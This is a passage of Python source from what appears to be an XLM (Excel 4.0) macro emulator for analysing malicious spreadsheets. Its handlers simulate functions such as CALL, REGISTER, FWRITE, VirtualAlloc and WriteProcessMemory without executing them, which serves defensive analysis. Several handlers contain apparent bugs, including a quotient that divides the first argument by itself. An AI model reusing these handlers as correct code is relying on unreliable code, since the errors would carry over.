arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:
return_val = float(arg1_eval_res.value) % float(arg2_eval_res.value)
text = str(return_val)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def sqrt_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if arg1_eval_res.status == EvalStatus.FullEvaluation:
return_val = math.floor(math.sqrt(float(arg1_eval_res.value)))
text = str(return_val)
status = EvalStatus.FullEvaluation
if status == EvalStatus.PartialEvaluation:
return_val = text = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def goto_handler(self, arguments, current_cell, interactive, parse_tree_root):
next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[0])
next_cell = None
if next_sheet is not None and next_sheet in self.xlm_wrapper.get_macrosheets():
next_cell = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[next_sheet],
next_col,
next_row)
status = EvalStatus.FullEvaluation
else:
status = EvalStatus.Error
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(next_cell, status, return_val, text)
def halt_handler(self, arguments, current_cell, interactive, parse_tree_root):
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = EvalStatus.End
self._indent_level -= 1
return EvalResult(None, status, return_val, text)
def call_handler(self, arguments, current_cell, interactive, parse_tree_root):
argument_texts = []
status = EvalStatus.FullEvaluation
for argument in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)
if arg_eval_result.status != EvalStatus.FullEvaluation:
status = arg_eval_result.status
argument_texts.append(arg_eval_result.get_text())
list_separator = self.xlm_wrapper.get_xl_international_char(XlApplicationInternational.xlListSeparator)
text = 'CALL({})'.format(list_separator.join(argument_texts))
return_val = 0
return EvalResult(None, status, return_val, text)
def is_number_handler(self, arguments, current_cell, interactive, parse_tree_root):
eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if eval_result.status == EvalStatus.FullEvaluation:
if self.is_int(eval_result.text) or self.is_float(eval_result.text):
return_val = 1
else:
return_val = 0
text = str(return_val)
else:
text = 'ISNUMBER({})'.format(eval_result.get_text())
return_val = 1 # true
return EvalResult(None, eval_result.status, return_val, text)
def search_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:
try:
arg1_val = EvalResult.unwrap_str_literal(str(arg1_eval_res.value))
arg2_val = EvalResult.unwrap_str_literal(arg2_eval_res.value)
return_val = arg2_val.lower().index(arg1_val.lower())
text = str(return_val)
except ValueError:
return_val = None
text = ''
status = EvalStatus.FullEvaluation
else:
text = 'SEARCH({},{})'.format(arg1_eval_res.get_text(), arg2_eval_res.get_text())
return_val = 0
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def round_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:
return_val = round(float(arg1_eval_res.value), int(float(arg2_eval_res.value)))
text = str(return_val)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def roundup_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg1_eval_res.status == EvalStatus.FullEvaluation:
return_val = math.ceil(float(arg1_eval_res.value))
text = str(return_val)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def directory_handler(self, arguments, current_cell, interactive, parse_tree_root):
text = r'C:\Users\user\Documents'
return_val = text
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def char_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
value = arg_eval_result.text
if arg_eval_result.value in self.defined_names:
value = self.defined_names[arg_eval_result.value].value
if 0 <= float(value) <= 255:
return_val = text = chr(int(float(value)))
# cell = self.get_formula_cell(current_cell.sheet, current_cell.column, current_cell.row)
# cell.value = text
status = EvalStatus.FullEvaluation
else:
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
self.char_error_count += 1
status = EvalStatus.Error
else:
text = 'CHAR({})'.format(arg_eval_result.text)
return_val = text
status = EvalStatus.PartialEvaluation
return EvalResult(arg_eval_result.next_cell, status, return_val, text)
def t_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
return_val = ''
if arg_eval_result.status == EvalStatus.FullEvaluation:
if isinstance(arg_eval_result.value, tuple) and len(arg_eval_result.value) == 3:
cell = self.get_cell(arg_eval_result.value[0], arg_eval_result.value[1], arg_eval_result.value[2])
return_val = cell.value
elif arg_eval_result.value != 'TRUE' and arg_eval_result.value != 'FALSE':
return_val = str(arg_eval_result.value)
status = EvalStatus.FullEvaluation
else:
status = EvalStatus.PartialEvaluation
return EvalResult(arg_eval_result.next_cell, status, return_val, EvalResult.wrap_str_literal(str(return_val), must_wrap=True))
def int_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
return_val = int(0)
if arg_eval_result.status == EvalStatus.FullEvaluation:
text = str(arg_eval_result.value).lower()
if text == "true":
return_val = int(1)
elif text == "false":
return_val = int(0)
else:
return_val = int(arg_eval_result.value)
status = EvalStatus.FullEvaluation
else:
status = EvalStatus.PartialEvaluation
return EvalResult(arg_eval_result.next_cell, status, return_val, str(return_val))
def run_handler(self, arguments, current_cell, interactive, parse_tree_root):
size = len(arguments)
next_cell = None
status = EvalStatus.PartialEvaluation
if 1 <= size <= 2:
next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[0])
if next_sheet is not None and next_sheet in self.xlm_wrapper.get_macrosheets():
next_cell = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[next_sheet],
next_col,
next_row)
if size == 1:
text = 'RUN({}!{}{})'.format(next_sheet, next_col, next_row)
else:
text = 'RUN({}!{}{}, {})'.format(next_sheet, next_col, next_row,
XLMInterpreter.convert_ptree_to_str(arguments[1]))
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = EvalStatus.Error
return_val = 0
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = EvalStatus.Error
return_val = 1
return EvalResult(next_cell, status, return_val, text)
def formula_handler(self, arguments, current_cell, interactive, parse_tree_root):
return self.evaluate_formula(current_cell, 'FORMULA', arguments, interactive)
def formula_fill_handler(self, arguments, current_cell, interactive, parse_tree_root):
return self.evaluate_formula(current_cell, 'FORMULA.FILL', arguments, interactive)
def formula_array_handler(self, arguments, current_cell, interactive, parse_tree_root):
return self.evaluate_formula(current_cell, 'FORMULA.ARRAY', arguments, interactive)
def set_value_handler(self, arguments, current_cell, interactive, parse_tree_root):
return self.evaluate_formula(
current_cell, 'SET.VALUE', arguments, interactive, destination_arg=2, set_value_only=True)
def error_handler(self, arguments, current_cell, interactive, parse_tree_root):
return EvalResult(None, EvalStatus.FullEvaluation, 0, XLMInterpreter.convert_ptree_to_str(parse_tree_root))
def select_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
range_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if len(arguments) == 2:
# e.g., SELECT(B1:B100,B1) and SELECT(,"R[1]C")
if self.active_cell:
sheet, col, row = self.get_cell_addr(self.active_cell, arguments[1])
else:
sheet, col, row = self.get_cell_addr(current_cell, arguments[1])
if sheet:
self.active_cell = self.get_cell(sheet, col, row)
status = EvalStatus.FullEvaluation
elif isinstance(arguments[0], Token):
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
elif arguments[0].data == 'range':
# e.g., SELECT(D1:D10:D1)
sheet, col, row = self.selected_range[2]
if sheet:
self.active_cell = self.get_cell(sheet, col, row)
status = EvalStatus.FullEvaluation
elif arguments[0].data == 'cell':
# select(R1C1)
if self.active_cell:
sheet, col, row = self.get_cell_addr(self.active_cell, arguments[0])
else:
sheet, col, row = self.get_cell_addr(current_cell, arguments[0])
if sheet:
self.active_cell = self.get_cell(sheet, col, row)
status = EvalStatus.FullEvaluation
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
def iterate_range(self, name, start_cell, end_cell):
sheet_name = start_cell[0]
row_start = int(start_cell[2])
row_end = int(end_cell[2])
for row_index in range(row_start, row_end + 1):
col_start = Cell.convert_to_column_index(start_cell[1])
col_end = Cell.convert_to_column_index(end_cell[1])
for col_index in range(col_start, col_end+1):
next_cell = self.get_cell(sheet_name, Cell.convert_to_column_name(col_index), row_index)
if next_cell:
yield next_cell
def forcell_handler(self, arguments, current_cell, interactive, parse_tree_root):
var_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
start_cell_ptree, end_cell_ptree = self.get_range_parts(arguments[1])
start_cell = self.get_cell_addr(current_cell, start_cell_ptree)
end_cell = self.get_cell_addr(current_cell, end_cell_ptree)
if start_cell[0] != end_cell[0]:
end_cell = (start_cell[0], end_cell[1], end_cell[2])
skip = False
if len(arguments) >= 3:
skip_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
skip = bool(skip_eval_result.value)
variable_name = EvalResult.unwrap_str_literal(var_eval_result.value).lower()
if len(self._while_stack) > 0 and self._while_stack[-1]['start_point'] == current_cell:
iterator = self._while_stack[-1]['iterator']
else:
iterator = self.iterate_range(variable_name, start_cell, end_cell)
stack_record = {'start_point': current_cell, 'status': True, 'iterator': iterator}
self._while_stack.append(stack_record)
try:
self.defined_names[variable_name] = next(iterator)
except:
self._while_stack[-1]['status'] = False
self._indent_level += 1
return EvalResult(None, EvalStatus.FullEvaluation, 0 , self.convert_ptree_to_str(parse_tree_root))
def while_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
text = ''
stack_record = {'start_point': current_cell, 'status': False}
condition_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = condition_eval_result.status
if condition_eval_result.status == EvalStatus.FullEvaluation:
if str(condition_eval_result.value).lower() == 'true':
stack_record['status'] = True
text = '{} -> [{}]'.format(XLMInterpreter.convert_ptree_to_str(parse_tree_root),
str(condition_eval_result.value))
if not text:
text = '{}'.format(XLMInterpreter.convert_ptree_to_str(parse_tree_root))
self._while_stack.append(stack_record)
if stack_record['status'] == False:
self.ignore_processing = True
self._indent_level += 1
return EvalResult(None, status, 0, text)
def next_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.FullEvaluation
next_cell = None
if self._indent_level == len(self._while_stack):
self.ignore_processing = False
next_cell = None
if len(self._while_stack) > 0:
top_record = self._while_stack.pop()
if top_record['status'] is True:
next_cell = top_record['start_point']
if 'iterator' in top_record:
self._while_stack.append(top_record)
self._indent_level = self._indent_level - 1 if self._indent_level > 0 else 0
self._indent_current_line = True
if next_cell is None:
status = EvalStatus.IGNORED
return EvalResult(next_cell, status, 0, 'NEXT')
def len_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
return_val = len(arg_eval_result.get_text(unwrap=True))
text = str(return_val)
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = text
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def define_name_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_name_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if arg_name_eval_result.status == EvalStatus.FullEvaluation:
arg_val_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
status = EvalStatus.FullEvaluation
name = EvalResult.unwrap_str_literal(arg_name_eval_result.text).lower()
if EvalResult.is_int(arg_val_eval_result.value):
self.defined_names[name] = int(arg_val_eval_result.value)
elif EvalResult.is_float(arg_val_eval_result.value):
self.defined_names[name] = float(arg_val_eval_result.value)
else:
self.defined_names[name] = arg_val_eval_result.value
return_val = self.defined_names[name]
text = "DEFINE.NAME({},{})".format(EvalResult.wrap_str_literal(name), str(return_val))
else:
return_val = text = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def index_handler(self, arguments, current_cell, interactive, parse_tree_root):
array_arg_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if array_arg_result.status == EvalStatus.FullEvaluation:
index_arg_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if isinstance(array_arg_result.value, list):
# example: f9adf499bc16bfd096e00bc59c3233f022dec20c20440100d56e58610e4aded3
return_val = array_arg_result.value[int(float(index_arg_result.value))-1] # index starts at 1 in excel
else:
# example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902
range = EvalResult.unwrap_str_literal(array_arg_result.value)
parsed_range = Cell.parse_range_addr(range)
index = int(float(index_arg_result.value))-1
row_str = str(int(float(parsed_range[2])) + index)
if parsed_range[0]:
sheet_name = parsed_range[0]
else:
sheet_name = current_cell.sheet.name
return_val = self.get_cell(sheet_name, parsed_range[1], row_str)
text = str(return_val)
status = EvalStatus.FullEvaluation
else:
return_val = text = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def rows_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if arg_eval_result.status == EvalStatus.FullEvaluation:
if isinstance(arg_eval_result.value, list):
# example: f9adf499bc16bfd096e00bc59c3233f022dec20c20440100d56e58610e4aded3
return_val = len(arg_eval_result.value)
else:
# example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902
range = EvalResult.unwrap_str_literal(arg_eval_result.value)
parsed_range = Cell.parse_range_addr(range)
return_val = int(parsed_range[4]) - int(parsed_range[2]) + 1
text = str(return_val)
status = EvalStatus.FullEvaluation
else:
return_val = text = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def counta_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
sheet_name, startcolumn, startrow, endcolumn, endrow = Cell.parse_range_addr(arg_eval_result.text)
count = 0
it = int(startrow)
start_col_index = Cell.convert_to_column_index(startcolumn)
end_col_index = Cell.convert_to_column_index(endcolumn)
start_row_index = int(startrow)
end_row_index = int(endrow)
val_item_count = 0
for row in range(start_row_index, end_row_index + 1):
for col in range(start_col_index, end_col_index + 1):
if (sheet_name != None):
cell = self.get_worksheet_cell(sheet_name,
Cell.convert_to_column_name(col),
str(row))
else:
cell = self.get_cell(current_cell.sheet.name,
Cell.convert_to_column_name(col),
str(row))
if cell and cell.value != '':
val_item_count += 1
return_val = val_item_count
status = EvalStatus.FullEvaluation
text = str(return_val)
return EvalResult(None, status, return_val, text)
def count_handler(self, arguments, current_cell, interactive, parse_tree_root):
return_val = len(arguments)
text = str(return_val)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def trunc_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if arg_eval_result.value == "TRUE":
return_val = 1
elif arg_eval_result.value == "FALSE":
return_val = 0
else:
return_val = math.trunc(float(arg_eval_result.value))
text = str(return_val)
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = text
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def quotient_handler(self, arguments, current_cell, interactive, parse_tree_root):
numerator_arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
Denominator_arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if numerator_arg_eval_result.status == EvalStatus.FullEvaluation and \
Denominator_arg_eval_result.status == EvalStatus.FullEvaluation:
return_val = numerator_arg_eval_result.value // Denominator_arg_eval_result.value
text = str(return_val)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def abs_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if arg_eval_result.value == "TRUE":
return_val = 1
elif arg_eval_result.value == "FALSE":
return_val = 0
else:
return_val = abs(float(arg_eval_result.value))
text = str(return_val)
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = text
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def absref_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_ref_txt_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if arg_ref_txt_eval_result.status == EvalStatus.FullEvaluation and \
(isinstance(arguments[1], Tree) and arguments[1].data == 'cell'):
offset_addr_text = arg_ref_txt_eval_result.value
base_addr_text = self.convert_ptree_to_str(arguments[1])
return_val = Cell.get_abs_addr(base_addr_text, offset_addr_text)
status = EvalStatus.FullEvaluation
else:
return_val = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, str(return_val))
def address_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_row_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg_col_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
optional_args = True
if len(arguments) >= 3:
arg_abs_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
if arg_abs_num_eval_result.status == EvalStatus.FullEvaluation:
abs_num = arg_abs_num_eval_result.value
else:
optional_args = False
else:
abs_num = 1
if len(arguments) >= 4:
arg_a1_eval_result = self.evaluate_parse_tree(current_cell, arguments[3], interactive)
if arg_a1_eval_result.status == EvalStatus.FullEvaluation:
a1 = arg_a1_eval_result.value
else:
optional_args = False
else:
a1 = "TRUE"
if len(arguments) >= 5:
arg_sheet_eval_result = self.evaluate_parse_tree(current_cell, arguments[4], interactive)
if arg_sheet_eval_result.status == EvalStatus.FullEvaluation:
sheet_name = arg_sheet_eval_result.text.strip('\"')
else:
optional_args = False
else:
sheet_name = current_cell.sheet.name
return_val = ''
if arg_row_num_eval_result.status == EvalStatus.FullEvaluation and \
arg_col_num_eval_result.status == EvalStatus.FullEvaluation and \
optional_args:
return_val += sheet_name + '!'
if a1 == "FALSE":
cell_addr_tmpl = 'R{}C{}'
if abs_num == 2:
cell_addr_tmpl = 'R{}C[{}]'
elif abs_num == 3:
cell_addr_tmpl = 'R[{}]C{}'
elif abs_num == 4:
cell_addr_tmpl = 'R[{}]C[{}]'
return_val += cell_addr_tmpl.format(arg_row_num_eval_result.text,
arg_col_num_eval_result.text)
else:
cell_addr_tmpl = '${}${}'
if abs_num == 2:
cell_addr_tmpl = '{}${}'
elif abs_num == 3:
cell_addr_tmpl = '${}{}'
elif abs_num == 4:
cell_addr_tmpl = '{}{}'
return_val += cell_addr_tmpl.format(Cell.convert_to_column_name(int(arg_col_num_eval_result.value)),
arg_row_num_eval_result.text)
status = EvalStatus.FullEvaluation
else:
status = EvalStatus.PartialEvaluation
return_val = self.evaluate_parse_tree(current_cell, arguments, False)
return EvalResult(None, status, return_val, str(return_val))
def indirect_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_addr_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.PartialEvaluation
if arg_addr_eval_result.status == EvalStatus.FullEvaluation:
a1 = "TRUE"
if len(arguments) == 2:
arg_a1_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if arg_a1_eval_result.status == EvalStatus.FullEvaluation:
a1 = arg_a1_eval_result.value
sheet_name, col, row = Cell.parse_cell_addr(arg_addr_eval_result.value)
indirect_cell = self.get_cell(sheet_name, col, row)
return_val = indirect_cell.value
status = EvalStatus.FullEvaluation
else:
return_val = self.evaluate_parse_tree(current_cell, arguments, False)
return EvalResult(None, status, return_val, str(return_val))
def register_handler(self, arguments, current_cell, interactive, parse_tree_root):
if len(arguments) >= 4:
arg_list = []
status = EvalStatus.FullEvaluation
for index, arg in enumerate(arguments):
if index > 3:
break
res_eval = self.evaluate_parse_tree(current_cell, arg, interactive)
arg_list.append(res_eval.get_text(unwrap=True))
function_name = "{}.{}".format(arg_list[0], arg_list[1])
# signature: https://support.office.com/en-us/article/using-the-call-and-register-functions-06fa83c1-2869-4a89-b665-7e63d188307f
function_signature = arg_list[2]
function_alias = arg_list[3]
# overrides previously registered function
self._registered_functions[function_alias] = {'name': function_name, 'signature': function_signature}
text = self.evaluate_argument_list(current_cell, 'REGISTER', arguments).get_text(unwrap=True)
else:
status = EvalStatus.Error
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
def registerid_handler(self, arguments, current_cell, interactive, parse_tree_root):
if len(arguments) >= 3:
arg_list = []
status = EvalStatus.FullEvaluation
for index, arg in enumerate(arguments):
if index > 2:
break
res_eval = self.evaluate_parse_tree(current_cell, arg, interactive)
arg_list.append(res_eval.get_text(unwrap=True))
function_name = "{}.{}".format(arg_list[0], arg_list[1])
# signature: https://support.office.com/en-us/article/using-the-call-and-register-functions-06fa83c1-2869-4a89-b665-7e63d188307f
function_signature = arg_list[2]
#function_alias = arg_list[3]
# overrides previously registered function
#self._registered_functions[function_alias] = {'name': function_name, 'signature': function_signature}
text = self.evaluate_argument_list(current_cell, 'REGISTER.ID', arguments).get_text(unwrap=True)
return_val = function_name
else:
status = EvalStatus.Error
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
def return_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if self._function_call_stack:
return_cell = self._function_call_stack.pop()
return_cell.value = arg1_eval_res.value
arg1_eval_res.next_cell = self.get_formula_cell(return_cell.sheet,
return_cell.column,
str(int(return_cell.row) + 1))
if arg1_eval_res.text == '':
arg1_eval_res.text = 'RETURN()'
return arg1_eval_res
def fopen_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if len(arguments) > 1:
arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
access = arg2_eval_res.value
else:
access = '1'
if arg1_eval_res.status == EvalStatus.FullEvaluation:
file_name = arg1_eval_res.get_text(unwrap=True)
else:
file_name = "default_name"
if file_name not in self._files:
self._files[file_name] = {'file_access': access,
'file_content': ''}
text = 'FOPEN({},{})'.format(arg1_eval_res.get_text(unwrap=False),
access)
return EvalResult(None, arg1_eval_res.status, file_name, text)
def fsize_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
file_name = arg1_eval_res.get_text(unwrap=True)
status = EvalStatus.PartialEvaluation
return_val = 0
if file_name in self._files:
status = EvalStatus.FullEvaluation
if self._files[file_name]['file_content'] is not None:
return_val = len(self._files[file_name]['file_content'])
text = 'FSIZE({})'.format(EvalResult.wrap_str_literal(file_name))
return EvalResult(None, status, return_val, str(return_val))
def fwrite_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
file_name = arg1_eval_res.value
if file_name.strip() == "" or EvalResult.is_int(file_name) or EvalResult.is_float(file_name):
if len(self._files) > 0:
file_name = list(self._files.keys())[0]
else:
file_name = "default_filename"
file_content = arg2_eval_res.get_text(unwrap=True)
status = EvalStatus.PartialEvaluation
if file_name in self._files:
status = EvalStatus.FullEvaluation
self._files[file_name]['file_content'] += file_content + end_line
text = 'FWRITE({},{})'.format(EvalResult.wrap_str_literal(file_name), EvalResult.wrap_str_literal(file_content))
return EvalResult(None, status, '0', text)
def fwriteln_handler(self, arguments, current_cell, interactive, parse_tree_root):
return self.fwrite_handler(arguments, current_cell, interactive, parse_tree_root, end_line='\r\n')
def files_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
dir_name = arg1_eval_res.get_text(unwrap=True)
status = EvalStatus.FullEvaluation
# if dir_name in self._files:
# return_val = dir_name
# else:
# return_val = None
return_val = dir_name
text = "FILES({})".format(EvalResult.wrap_str_literal(dir_name))
return EvalResult(None, status, return_val, text)
def iserror_handler(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.FullEvaluation
if arg1_eval_res.value == None:
return_val = True
else:
return_val = False
if self._iserror_loc is None:
self._iserror_val = return_val
self._iserror_loc = current_cell
self._iserror_count = 1
elif self._iserror_loc == current_cell:
if self._iserror_val != return_val:
self._iserror_val = return_val
self._iserror_count = 1
elif self._iserror_count < XLMInterpreter.MAX_ISERROR_LOOPCOUNT:
self._iserror_count += 1
else:
return_val = not return_val
self._iserror_loc = None
text = 'ISERROR({})'.format(EvalResult.wrap_str_literal(arg1_eval_res.get_text(unwrap=True)))
return EvalResult(None, status, return_val, text)
def offset_handler(self, arguments, current_cell, interactive, parse_tree_root):
value = 0
next = None
status = EvalStatus.PartialEvaluation
cell = self.get_cell_addr(current_cell, arguments[0])
row_index = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
col_index = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
if isinstance(cell, tuple) and \
row_index.status == EvalStatus.FullEvaluation and \
col_index.status == EvalStatus.FullEvaluation:
row = str(int(cell[2]) + int(float(str(row_index.value))))
col = Cell.convert_to_column_name(Cell.convert_to_column_index(cell[1]) + int(float(str(col_index.value))))
ref_cell = (cell[0], col, row)
value = ref_cell
status = EvalStatus.FullEvaluation
next = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[cell[0]], col, row)
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(next, status, value, text)
def arabic_hander(self, arguments, current_cell, interactive, parse_tree_root, end_line=''):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg1_eval_res.status == EvalStatus.FullEvaluation:
roman_number = EvalResult.get_text(arg1_eval_res, unwrap=True)
return_val = roman.fromRoman(roman_number)
status = EvalStatus.FullEvaluation
text = str(return_val)
else:
return_val = text = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def VirtualAlloc_handler(self, arguments, current_cell, interactive, parse_tree_root):
base_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
size_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if base_eval_res.status == EvalStatus.FullEvaluation and size_eval_res.status == EvalStatus.FullEvaluation:
base = int(base_eval_res.get_text(unwrap=True))
occupied_addresses = [rec['base'] + rec['size'] for rec in self._memory]
for memory_record in self._memory:
if memory_record['base'] <= base <= (memory_record['base'] + memory_record['size']):
base = map(max, occupied_addresses) + 4096
size = int(size_eval_res.get_text(unwrap=True))
self._memory.append({
'base': base,
'size': size,
'data': [0] * size
})
return_val = base
status = EvalStatus.FullEvaluation
else:
status = EvalStatus.PartialEvaluation
return_val = 0
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def WriteProcessMemory_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
if len(arguments) > 4:
status = EvalStatus.FullEvaluation
args_eval_result = []
for arg in arguments:
arg_eval_res = self.evaluate_parse_tree(current_cell, arg, interactive)
if arg_eval_res.status != EvalStatus.FullEvaluation:
status = arg_eval_res.status
args_eval_result.append(arg_eval_res)
if status == EvalStatus.FullEvaluation:
base_address = int(args_eval_result[1].value)
mem_data = args_eval_result[2].value
mem_data = bytearray([ord(x) for x in mem_data])
size = int(args_eval_result[3].value)
if not self.write_memory(base_address, mem_data, size):
status = EvalStatus.Error
text = 'Kernel32.WriteProcessMemory({},{},"{}",{},{})'.format(
args_eval_result[0].get_text(),
base_address,
mem_data.hex(),
size,
args_eval_result[4].get_text())
return_val = 0
if status != EvalStatus.FullEvaluation:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
def RtlCopyMemory_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
if len(arguments) == 3:
destination_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
src_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
size_res = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
if destination_eval_res.status == EvalStatus.FullEvaluation and \
